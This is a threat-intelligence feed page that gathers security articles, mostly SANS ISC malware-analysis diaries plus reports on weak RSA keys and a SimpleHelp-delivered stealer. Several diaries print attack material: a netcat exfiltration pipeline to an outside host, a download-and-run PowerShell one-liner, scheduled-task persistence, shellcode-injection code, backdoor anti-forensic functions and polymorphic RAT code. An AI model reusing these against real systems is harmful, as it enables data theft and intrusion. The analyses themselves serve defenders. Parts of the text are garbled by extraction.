Search/pgp
Known CVEs
0
Highest CVSS
—
In KEV
0
Vendor
keyserver
Connections
29 relationships
Factoring RSA Keys with Many Zeros
Factoring RSA Keys with Many Zeros Interesting research on a new class of weak RSA keys: keys with lots of zeros. It turns out that these keys are out in the wild. The badkeys project is an open-source service that checks public keys for known vulnerabilities. While developing this tool, Hanno collected a massive number of real-world keys from public sources, including Certificate Transparency logs, internet-wide TLS and SSH scans, PGP keys, and many others. By searching this dataset for unexpectedly sparse RSA moduli, we uncovered a large number of keys in the wild with the patterns in Figure 1. Both patterns include several regularly spaced blocks of all zeros interleaved with seemingly random data. Pattern 1 appears in CT logs for certificates issued to several large organizations, including Yahoo and Verizon, and on some devices running NetApp software. Fortunately, these certificates have already expired, but we still shared our findings with these companies. We wanted to learn more about which product could be responsible for generating these keys, but we did not hear back. Pattern 2 appears on SSH hosts running the CompleteFTP software from EnterpriseDT. The underlying vulnerability affects RSA keys generated using versions 10.0.012.0.0 (Dec 2016Mar 2019) and DSA keys generated with v10.0.023.0.4 (Dec 2016Dec 2023). These vulnerabilities affect a small minority of hosts on the internet, but the more interesting takeaway is that independent cryptographic implementations failed in similar ways. More implementations may include the same bugs, and so it’s worth tailoring cryptanalytic algorithms for this particular type of failure. The article doesn’t speculate, but I will. This could be a deliberately designed backdoor, of the sort I wrote about back in 2013. I could imagine some government agency figuring out how to break this class of RSA keys, and then convincing different providers to hand them out to users.
schneier.comJun 29, 2026extracted
Critical SimpleHelp flaw exploited to deploy new stealer malware
Hackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux. The SimpleHelp platform is primarily used by managed service providers (MSPs), IT departments, helpdesks, and system administrators for remote monitoring and management (RMM). Earlier this month, offensive security company Horizon3.ai published details about CVE-2026-48558, saying that the flaw could be leveraged to create highly privileged technician accounts without authentication. Exploiting the vulnerability is possible on servers using the OpenID Connect (OIDC) authentication protocol. According to the researchers, around 1,000 SimpleHelp servers exposed online were running a vulnerable configuration at the time of the disclosure. In an incident investigated by managed detection and response (MDR) provider Blackpoint, a threat actor exploited the critical authentication bypass vulnerability to establish an authenticated technician session on an internet-facing SimpleHelp server before deploying the TaskWeaver malware loader and the Djinn Stealer. Based on the findings from the Adversary Pursuit Group (APG), the company's threat intelligence and research team, both pieces of malware are new and have not been documented before. "The compromised RMM platform provided the operator with a trusted administrative channel capable of transferring files and executing commands on systems managed through the server," Blackpoint says. The investigation revealed that TaskWeaver was downloaded in the form of an obfuscated JavaScript file named ‘jquery.js’ from a temporary Cloudflare domain. TaskWeaver is a generic malware loader that fingerprints the compromised device and communicates with the command-and-control (C2) infrastructure to receive new JavaScript modules for execution. The loader then installs Djinn Stealer to collect in a single pass all the sensitive data it can find on a developer's machine, be it Windows, macOS, or Linux. Blackpoint mentions that Djinn Stealer has a particular focus on AI development tools, but targets a broad collection of developer and infrastructure credentials: Cloud provider credentials, identity services, deployment platforms, and cloud management tools. Git configuration, GitHub CLI, SSH keys, Docker credentials, Helm, infrastructure-as-code tools (Terraform, Pulumi), secrets management solutions (HashiCorp Vault), and package manager credentials. Authentication data for package registries and build tools (npm, Yarn, pnpm, Cargo, Maven, Gradle, pip, NuGet), potentially enabling access to private packages or malicious package publication. Local configuration files, authentication tokens, session data, and Model Context Protocol (MCP) configuration for AI coding assistants (Claude, Gemini, Codex, Cline, OpenCode, and Kilo). Cryptocurrency wallets and keystores associated with multiple desktop cryptocurrency clients (Bitcoin, Litecoin, Dogecoin, Dash, Ethereum, Monero, Zcash, Exodus, Atomic Wallet, and Electrum). Browser data, shell history, SSH configuration, PGP keys, database client configuration, operating system information, and other user files. On Linux, the malware also attempts to read the /proc/ /cmdline and /proc/ /environ virtual files that contain information about a running process, including secrets (e.g., API keys, credentials, session tokens, file paths, URLs). Blackpoint researchers warn that stealing credentials for AI development tooling, which is widely used for coding and software development, could allow attackers to inherit the AI assistant's authorized access to repositories, cloud resources, databases, and APIs. “Many of these tools rely on the Model Context Protocol (MCP) to connect an AI assistant to external tools and data on the developer's behalf, including source repositories, databases, cloud accounts, and internal APIs,” explain the researchers. “The settings and tokens for those connections are stored locally in files such as ~/.claude/mcp.json. Stealing them can grant an attacker the same downstream access the developer extended to their AI agent, reaching well beyond the AI service itself.” Before exfiltrating the sensitive data to the C2 server, Djinn Stealer packs it into a TAR archive, then compresses it with GZIP, and encrypts it with an AES-256-GCM key protected by an RSA-2048 public key embedded in TaskWeaver. Active exploitation of CVE-2026-48558 should serve as an urgent call for system administrators to prioritize updating SimpleHelp instances to the latest versions. It is also recommended to invalidate technician sessions that they don’t recognize. If breached, rotate all credentials and API keys. Blackpoint's report provides indicators of compromise (IoCs) observed in the investigated intrusion, which include hashes for the TaskWeaver loader and Djinn Stealer, network infrastructure, host and behavioral indicators. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJun 29, 2026extracted
Application Control Bypass for Data Exfiltration, (Tue, Mar 31st)
In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, …). While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this "hole" in the firewall. What I did, I tried to exfiltrate data through this port. It’s easy: Simulate a server controlled by a threat actor: root@attacker:~# nc -l -p 12345 >/tmp/victim.tgz And, from a server on the victim’s network: root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345 It worked but the data transfer failed after approximatively ~5KB of data sent… weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port. Note: What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any “next-generation” firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use “Application Control”. App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222). The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked. In terms of data volume, there’s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking: $filename echo "Dumped $filename" ((i++)) done On the victim’s computer, I (vibe-)coded a Python script that will perform the following tasks: Read a file Split it in chunks of 3KB Send everything to a TCP connection (with retries in case of failure of couse) The code is available on Pastebin[1]. Example: root@victim:~# sha256sum data.zip 955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833 data.zip root@victim:~# python3 send_file.py data.zip wild.server.com 12345 File: 'data.zip' ((359370 bytes) -> 117ll chunk(s) of up to 3072 bytes. Destination: wild.server.com:12345 (timeout=5s, max_retries=10) Chunk 1/1177 sent successfully (attempt 1). Chunk 2/1177 sent successfully (attempt 1). Chunk 3/1177 sent successfully (attempt 1). Chunk 4/1177 sent successfully (attempt 1). Chunk 5/1177 sent successfully (attempt 1). Chunk 6/1177 sent successfully (attempt 1). Chunk 7/1177 sent successfully (attempt 1). Chunk 8/1177 sent successfully (attempt 1). Chunk 9/1177 sent successfully (attempt 1). Chunk 10/1177 sent successfully (attempt 1). Chunk 11/1177 sent successfully (attempt 1). Chunk 12/1177 sent successfully (attempt 1). [...] And on the remote side, chunks are created, you just need to rebuild the original file: root@attacker:~# cat /tmp/chunk_0* >victim.zip root@attacker:~# sha256sum victim.zip 955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833 victim.zip The file has been successfully exfiltrated! (the SHA256 hashes are identical). Of course, it's slow but it does not generate peaks of bandwidth that could reveal a huge amount of data being exfiltrated! This technique worked for me with a file of a few megabytes. It is more a proof-of-concept because firewalls may implement more detection controls. For example, this technique is easy to detect due to the high number of small TCP connections that may look like malware beaconing. It could be also useful to encrypt your data because packets could be flagged by the IDS component of the firewall... [1] https://pastebin.com/Ct9ePEiN Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduMar 31, 2026extracted
GSocket Backdoor Delivered Through Bash Script, (Fri, Mar 20th)
Yesterday, I discovered a malicious Bash script that installs a GSocket backdoor on the victim’s computer. I don’t know the source of the script not how it is delivered to the victim. GSocket[1] is a networking tool, but also a relay infrastructure, that enables direct, peer-to-peer–style communication between systems using a shared secret instead of IP addresses or open ports. It works by having both sides connect outbound to a global relay network. Tools like gs-netcat can provide remote shells, file transfer, or tunneling and bypass classic security controls. The script that I found uses a copy of gs-netcat but the way it implements persistence and anti-forensic techniques deserves a review. A few weeks ago, I found a sample that used GSocket connectivity as a C2 channel. It makes me curious and I started to hunt for more samples. Bingo! The new one that I found (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286[2]) has been detected by only 17 antivirus solutions on VT. The script is not obfuscated and even has comments so I think that it was uploaded on VT for "testing" purposes by the developper (just a guess) Let’s have a look at the techniques used. When you execute it in a sandbox, you see this: Note the identification of the tool ("G-Socket Bypass Stealth") and the reference to "@bboscat"[3] A GSocket client is downloaded, started and is talking to the following IP: The malware implements persistence through different well-known techniques on Linux. First, a cron job is created: Every top-hour, the disguised gs-netcat will be killed (if running) and restarted. To improve persistence, the same code is added to the victim's .profile: The malware itself is copied in .ssh/putty and the GSocket shared secret stored in a fake SSH key file: The ELF file id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) is the gs-netcat tool downloaded directly from the G-Socket CDN. Ok, let’s have a look at an interesting anti-forensic technique implemented in the Bash script. File operations are not simply performed using classic commands like cp, rm, mv, etc. They are embedded in “helper” functions with a timestamp tracking/restoration system so the malware can later hide filesystem changes. Here is an example with a function that will create a file: mk_file() { local fn local oldest local pdir local pdir_added fn="$1" local exists # DEBUGF "${CC}MK_FILE($fn)${CN}" pdir="$(dirname "$fn")" [[ -e "$fn" ]] && exists=1 ts_is_marked "$pdir" || { # HERE: Parent not tracked _ts_add "$pdir" " " pdir_added=1 } ts_is_marked "$fn" || { # HERE: Not yet tracked _ts_get_ts "$fn" # Do not add creation fails. touch "$fn" 2>/dev/null || { # HERE: Permission denied [[ -n "$pdir_added" ]] && { # Remove pdir if it was added above # Bash ") return } touch "$fn" 2>/dev/null || return [[ -z $exists ]] && chmod 600 "$fn" true } Here are also two interesting function: Restore timestamp of files ts_restore() { local fn local n local ts [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; } n=0 while :; do [[ $n -eq "${#_ts_fn_a[@]}" ]] && break ts="${_ts_ts_a[$n]}" fn="${_ts_fn_a[$n]}" # DEBUGF "RESTORE-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" done unset _ts_fn_a unset _ts_ts_a n=0 while :; do [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break ts="${_ts_systemd_ts_a[$n]}" fn="${_ts_systemd_fn_a[$n]}" # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" "symlink" done unset _ts_systemd_fn_a unset _ts_systemd_ts_a } ts_is_marked() { local fn local a fn="$1" for a in "${_ts_fn_a[@]}"; do [[ "$a" = "$fn" ]] && return 0 # True done return 1 # False } ts_is_marked() checks whether a file/directory is already registered for timestamp restoration, preventing duplicate tracking and ensuring the script’s anti-forensic timestamp manipulation works correctly. I asked ChatGPT to generate a graph that explains this technique: Finally, because it’s fully based on Bash, the script will infect all UNIX flavors, MacOS included: [[ -z "$OSTYPE" ]] && { local osname osname="$(uname -s)" if [[ "$osname" == *FreeBSD* ]]; then OSTYPE="FreeBSD" elif [[ "$osname" == *Darwin* ]]; then OSTYPE="darwin22.0" elif [[ "$osname" == *OpenBSD* ]]; then OSTYPE="openbsd7.3" elif [[ "$osname" == *Linux* ]]; then OSTYPE="linux-gnu" fi } [1] https://www.gsocket.io [2] https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetry ???????[3] https://zone-xsec.com/archive/attacker/%40bboscat Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduMar 20, 2026extracted
Want More XWorm?, (Wed, Mar 4th)
And another XWorm[1] wave in the wild! This malware family is not new and heavily spread but delivery techniques always evolve and deserve to be described to show you how threat actors can be imaginative! This time, we are facing another piece of multi-technology malware. Here is a quick overview: The Javascript is a classic obfuscated one: No need to try to analyze it, just let it run in a sandbox and see its magic. It will drop a PowerShell script in a temporary directory (“C:\Temp\ps_5uGUQcco8t5W_1772542824586.ps1”). This loader will decode (Base64 + XOR) another payload that invokes another piece of PowerShell in memory: Because the last payload is XOR-encrypted, it is not obfuscated and easy to understand. The DLL exports a function called “ProcessHollowing” (nice name, btw) and acts as a loader. It inject the XWorm client in the .Net compiler process… Here is the extracted config: { "c2": [ "204[.]10[.]160[.]190:7003" ], "attr": { "install_file": "USB.exe" }, "keys": [ { "key": "aes_key", "kind": "aes.plain", "value": "XAorWEAzx4+ic89KWd910w==" } ], "rule": "Xworm", "mutex": [ "Cqu1F0NxohroKG5U" ], "family": "xworm", "version": "XWorm V6.4" } Do you recognize the C2 IP address? It's the same as the one detected in my latest diary![2] And some IOC's: [1] https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm [2] https://isc.sans.edu/diary/Fake%20Fedex%20Email%20Delivers%20Donuts!/32754 Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduMar 4, 2026extracted
Fake Fedex Email Delivers Donuts!, (Fri, Feb 27th)
It’s Friday, let’s have a look at another simple piece of malware to close a busy week! I received a Fedex notification about a delivery. Usually, such emails are simple phishing attacks that redirect you to a fake login page to collect your credentials. Here, it was a bit different: Nothing really fancy but it is effective and uses interesting techniques. The attached archive called "fedex_shipping_document.7z" (SHA256: a02d54db4ecd6a02f886b522ee78221406aa9a50b92d30b06efb86b9a15781f5 ) contains a Windows script (.bat file) with the same filename. This script, not really obfuscated and easy to understand, receiveds a low VT score, only 12/61! First, il will generate some environment variables and implement persistence through a Run key: The variable name "!contract" contains the path of a script copy in %APPDATA%\Rail\EXPRESSIO.cmd. The threat actor does not use the classic environment variable format “%VAR%” but “!var!”. This is expanded at execution time, meaning it reflects the current value inside loops and blocks[1]. It’s enabled via this command setlocal enableDelayedExpansion Simple but nice trick to defeat simple search of "%..%"! Then a PowerShell one-liner is invoked. The Powershell payload is located in the script (at the end) and Bas64-encoded. A nice trick is that the very first characters of the Base64 payload makes it undetectable by tools like base64dump! PowerShell extracts it through a regular expression: Once the payload decoded, it is piped to another PowerShell: The PowerShell implements different behaviors. First, it will create a Mutex on the victim’s computer: Strange, it seems that some anti-debugging and anti-sandoxing are not completely implemented. By example, the scripts gets the number of CPU cores (a classic) but it’s never tested! The script waits for the presence of an « explorer » process (which means that a user is logged in) otherwise it exists: There is a long Base64-encoded variable that contains a payload that has been AES encrypted. The IV and salt are extracted and the payload decrypted. No time to loose, run the script into the Powershell debugger and dump the decrypted data in a file: The decrypted data is the next stage: a shellcode. This one will be injected into the explorer process and a new thread started: This behavior is typical to DonutLoader[2]. The shell code connects to the C2 server: 204[.]10[.]160[.]190:7003. It's a good old XWorm! [1] https://ss64.com/nt/delayedexpansion.html [2] https://medium.com/@anyrun/donutloader-malware-overview-00d9e3d79a48 Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduFeb 27, 2026extracted
Tracking Malware Campaigns With Reused Material, (Wed, Feb 18th)
A few days ago I wrote a diary called "Malicious Script Delivering More Maliciousness"[1]. In the malware infection chain, there was a JPEG picture that embedded the last payload delimited with "BaseStart-" and "-BaseEnd" tags. Today, I discovered anoher campaign that relies exactly on the same technique. It started with an attachment called "TELERADIO_IB_OBYEKTLRIN_BURAXILIS_FORMASI.xIs" (SHA256:1bf3ec53ddd7399cdc1faf1f0796c5228adc438b6b7fa2513399cdc0cb865962). The file in itself is not interesting, it contains a good old Equation Editor exploit (CVE-2017-11882). The exploit triggers the download of an HTA payload that executes a PowerShell payload and finally a DLL: When I investigated the different payload, there was pretty simple to deobfuscated, the interesting code was polluted with Unicode characters. First the HTA file was downloaded from: hxxp://192[.]3[.]101[.]19/31/sd878f23823878428348fd8g8g8384838f3453dfg.hta The interesting code is here and you can easily spot the "powershell" string, no need to use AI for this :-) The Powershell payload will fetch another file: hxxps://172[.]245[.]155[.]116/img/optimized_MSI.png Do you make the link with my previous diary? It's the same picture: The technique is also exactly the same, the next stage is Base64-encoded and delimited by the same tags: The extracted payload is a .Net binary (SHA256:adc2f550e7ff2b707a070ffaa50fc367af6a01c037f1f5b347c444cca3c9a650). The fast that the same picture is re-used looks interesting! I did a quick search on VT and use the feature to search for similarities based on the icon/thumbnail and found a lot of identical pictures: 846 similar pictures have been reported but only 36 have a VT score above 5. I created a YARA rule to track them, just curious... Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduFeb 18, 2026extracted
Fake Incident Report Used in Phishing Campaign, (Tue, Feb 17th)
This morning, I received an interesting phishing email. I’ve a “love & hate” relation with such emails because I always have the impression to lose time when reviewing them but sometimes it’s a win because you spot interesting “TTPs” (“tools, techniques & procedures”). Maybe one day, I'll try to automate this process! Today's email targets Metamask[1] users. It’s a popular software crypto wallet available as a browser extension and mobile app. The mail asks the victim to enable 2FA: The link points to an AWS server: hxxps://access-authority-2fa7abff0e[.]s3.us-east-1[.]amazonaws[.]com/index.html But it you look carefully at the screenshots, you see that there is a file attached to the message: “Security_Reports.pdf”. It contains a fake security incident report about an unusual login activity: The goal is simple: To make the victim scary and ready to “increase” his/her security by enabled 2FA. I had a look at the PDF content. It’s not malicious. Interesting, it has been generated through ReportLab[2], an online service that allows you to create nice PDF documents! 6 0 obj > endobj They also provide a Python library to create documents: pip install reportlab The PDF file is the SHA256 hash 2486253ddc186e9f4a061670765ad0730c8945164a3fc83d7b22963950d6dcd1. Besides the idea to use a fake incident report, this campaign remains at a low quality level because the "From" is not spoofed, the PDF is not "branded" with at least the victim's email. If you can automate the creation of a PDF file, why not customize it? [1] https://metamask.io ???????[2] http://www.reportlab.com Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduFeb 17, 2026extracted
Broken Phishing URLs, (Thu, Feb 5th)
For a few days, many phishing emails that landed into my mailbox contain strange URLs. They are classic emails asking you to open a document, verify your pending emails, … But the format of the URLs is broken! In a URL, parameters are extra pieces of information added after a question mark (?) to tell a website more details about a request; they are written as name=value pairs (for example “email=user@domain”), and multiple parameters are separated by an ampersand (&). Here are some examples of detected URLs: hxxps://cooha0720[.]7407cyan[.]workers[.]dev/?dC=handlers@isc[.]sans[.]edu&*(Df hxxps://calcec7[.]61minimal[.]workers[.]dev/?wia=handlers@isc[.]sans[.]edu&*(chgd hxxps://couraol-02717[.]netlify[.]app/?dP=handlers@isc[.]sans[.]edu&*(TemP hxxps://shiny-lab-a6ef[.]tcvtxt[.]workers.dev/?kpv=handlers@isc[.]sans[.]edu&*(lIi You can see that the parameters are broken… “&*(Df” is invalid! It’s not an issue for browsers that will just ignore these malformed parameters, so the malicious website will be visited. I did not see this for a while but it seems that the technique is back on stage. Threat actors implement this to break security controls. Many of them assume a “key=value" format. It may also break regex-based detectionn, URL normalization routines or IOC extraction pipelines… Of course, we can track such URLs using a regex to extract the last param: ??????? Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduFeb 5, 2026extracted
TikTok Videos Promoting Malware Installation, (Fri, Oct 17th)
Attackers are everywhere! They try to abuse victims using new communication channels and social engineering techniques! Somebody pointed my to the following Tik-Tok video: hxxps://vm[.]tiktok[.]com/ZGdaCkbEF/. The author pretends to provide you an easy way to activate Photoshop for free: Note that the video has already been liked more than 500 times! The technique is similar to the ClickFix[1] attack scenario. The victim is asked to start a PowerShell as administrator and execute a one-liner: iex (irm slmgr[.]win/photoshop) When visiting this linlk, you'll get a piece of malicious PowerShell code that will be executed (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23). It has a VT score of 17/63[2]. Let’s have a look at it! It downloads the next stage from https://file-epq[.]pages[.]dev/updater.exe. Persistence is implemented through a scheduled task to execute it at logon time: $tasknames = @('MicrosoftEdgeUpdateTaskMachineCore','GoogleUpdateTaskMachineCore','AdobeUpdateTask','OfficeBackgroundTaskHandlerRegistration','WindowsUpdateCheck') $taskname = $tasknames[(Get-Random -Max 5)] $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "$scr"" $trigger = New-ScheduledTaskTrigger -AtLogOn $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -DontStopOnIdleEnd Register-ScheduledTask -TaskName $taskname -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force -ErrorAction SilentlyContinue | Out-Null Updater.exe (SHA256:58b11b4dc81d0b005b7d5ecae0fb6ddb3c31ad0e7a9abf9a7638169c51356fd8) is an AuroStealer[3]. Finally, a second payload is downloaded and executed: source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011)[4]. This one implements an interesting technique, it compiles some code on demand during its execution: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\vpkwkdbo.cmdline" This is something that I covered in previous diaries ("self-compiling malware")[5]. The compile code is a class used to inject a shellcode in memory: using System; using System.Runtime.InteropServices; public class SC { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr h, uint m); public static void Run(byte[] sc) { IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40); Marshal.Copy(sc, 0, addr, sc.Length); IntPtr t = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(t, 0xFFFFFFFF); } } While invetigating this piece of malware, I discovered more videos from the same campaing but using other software names: hxxps://vm[.]tiktok[.]com/ZGdaC7EQY/ hxxps://vm[.]tiktok[.]com/ZGdaX8jVq/ Stay safe and don't trust such videos! Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduOct 17, 2025extracted
Polymorphic Python Malware, (Wed, Oct 8th)
Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c). To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2]. Here is a simple snippet of code to demonstrate how it works: remnux@remnux:~$ cat poc.py import inspect def dummy_function(): print("I'm a dummy function!") def main(): print("Function code:") print(inspect.getsource(dummy_function)) if name == "main": main() remnux@remnux:~$ python3 poc.py Function code: def dummy_function(): print("I'm a dummy function!") Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified - to debug it) or obfuscate it. In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory: Self-modifying code wrapper (simulates packing) def self_modifying_wrapper(): """Wrap critical code in a self-modifying layer.""" log_path = resource_path('debug.log') try: # Simulate packed code by XORing critical sections critical_code = inspect.getsource(main).encode() xor_key = random.randint(1, 255) packed_code = bytes(b ^ xor_key for b in critical_code) # Unpack at runtime unpacked_code = bytes(b ^ xor_key for b in packed_code) code_obj = marshal.loads(zlib.decompress(unpacked_code)) exec(code_obj) with open(log_path, "a") as f: f.write("[+] Self-modifying code executed\n") return True except Exception as e: with open(log_path, "a") as f: f.write(f"[-] Self-modifying code failed: {e}\n") return False The malware has also the capability to inject junk code: def polymorph_code(code): """Obfuscate code with advanced randomization and junk code.""" log_path = resource_path('debug.log') try: # Advanced variable renaming var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()} for old_var, new_var in var_map.items(): code = code.replace(old_var, new_var) # Insert complex junk code junk_snippets = [ "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))), "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)), "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)), "try: pass\nexcept: pass\n" ] lines = code.split('\n') for _ in range(random.randint(10, 20)): lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets)) code = '\n'.join(lines) # Shuffle function order code = code.replace('\r\n', '\n') # Normalize line endings functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL) if functions: random.shuffle(functions) code = code.replace(''.join(functions), ''.join(functions)) with open(log_path, "a") as f: f.write("[+] Advanced polymorphic transformation applied\n") return code except Exception as e: with open(log_path, "a") as f: f.write(f"[-] Polymorphic transformation failed: {e}\n") return code It's easy to get a nice overview of the RAT capabilities: Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities: remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c async def socket_network_scan(): async def scan_host(ip): async def try_router_hack(ip): async def test_default_credentials(ip, service, port): async def deliver_payload(ip, share=None, service=None, port=None): async def execute_payload(ip, target_path, service): async def get_phone_number(stolen_data): async def send_stolen_data(stolen_data, channel, logins_path): async def spread_to_network(): async def report_spreading_status(ip, message): async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"): async def record_screen_webcam(voice_channel, ctx): async def on_ready(): async def commands(ctx): async def encrypt(ctx): async def mine(ctx): async def screenshot(ctx): async def audio(ctx): async def listen(ctx): async def execute(ctx, *, command): async def upload(ctx): async def download(ctx, *, filename): async def xworm(ctx): async def archive(ctx): async def system_info(ctx): async def run(ctx, *, program): In the same way, here is the list of bot commands: Bot command: Show available commands @bot.command() async def commands(ctx): log_path = resource_path('debug.log') with open(log_path, "a") as f: f.write("[+] Sending command list\n") commands_list = """ /commands - Show this help message /encrypt - Encrypt victim's files /mine - Start cryptominer (simulated) /screenshot - Capture screenshot /audio - Capture audio /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel /execute - Run shell command /upload - Upload attached file to victim's PC /download - Search and send file from victim's PC /xworm - Deploy Xworm payload /archive - Archive critical files /keylog_start - Start keylogger /keylog_stop - Stop keylogger and send log /system_info - Get system information /run - Run a program """ await ctx.send(commands_list) The file was uploaded on VT as "nirorat.py". I did not find any reference to this RAT. If you have more details, let us know! [1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228 [2] https://docs.python.org/3/library/inspect.html Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduOct 8, 2025extracted
Top 5 Tecniche per Monitorare il Dark Web e Raccogliere e Automatizzare Intelligence (OSINT)
Il Dark Web è spesso raccontato come un luogo misterioso, popolato da criminali informatici e marketplace di merce illegale. In realtà, per chi si occupa di cybersecurity e threat intelligence, rappresenta un’enorme fonte di dati utili: forum dove vengono vendute credenziali rubate, dump di database aziendali, annunci di Ransomware-as-a-Service e molto altro. Monitorare questi spazi in modo sistematico e sicuro permette ai team di threat intelligence e ai SOC di guadagnare tempo prezioso: scoprire prima che i propri dati vengano pubblicati, anticipare nuove TTP degli attaccanti e arricchire la detection con indicatori in tempo reale. In questo articolo vediamo 5 tecniche pratiche per monitorare il Dark Web, con esempi concreti di strumenti, piccoli script e pipeline di automazione. L’obiettivo non è “navigare per curiosità”, ma capire come un SOC o un team di incident response possa integrare queste informazioni nei propri processi di detection e difesa. 1. Crawler .onion personalizzati Il punto di partenza per esplorare il Dark Web è la creazione di un piccolo crawler in grado di visitare hidden services e scaricare i contenuti di interesse. Dal punto di vista tecnico, basta configurare Tor come proxy locale e usare una libreria come Stem per Python o semplici richieste HTTP instradate via SOCKS5. Questo permette di predisporre script che si connettono a indirizzi .onion, scaricano le pagine e le salvano localmente per successive analisi. Un esempio pratico in Python può essere realizzato con poche righe di codice usando requests e una sessione proxata su 127.0.0[.]1:9050. Naturalmente, l’ambiente deve essere isolato tramite VM dedicata (QUI la nostra guida per navigare in sicurezza nel dark web). Questo approccio consente di raccogliere contenuti senza interazione diretta, riducendo il rischio, dall’altro permette di costruire un archivio locale su cui applicare ricerche e analisi successive. Setup tecnico: Installare Tor e usare la 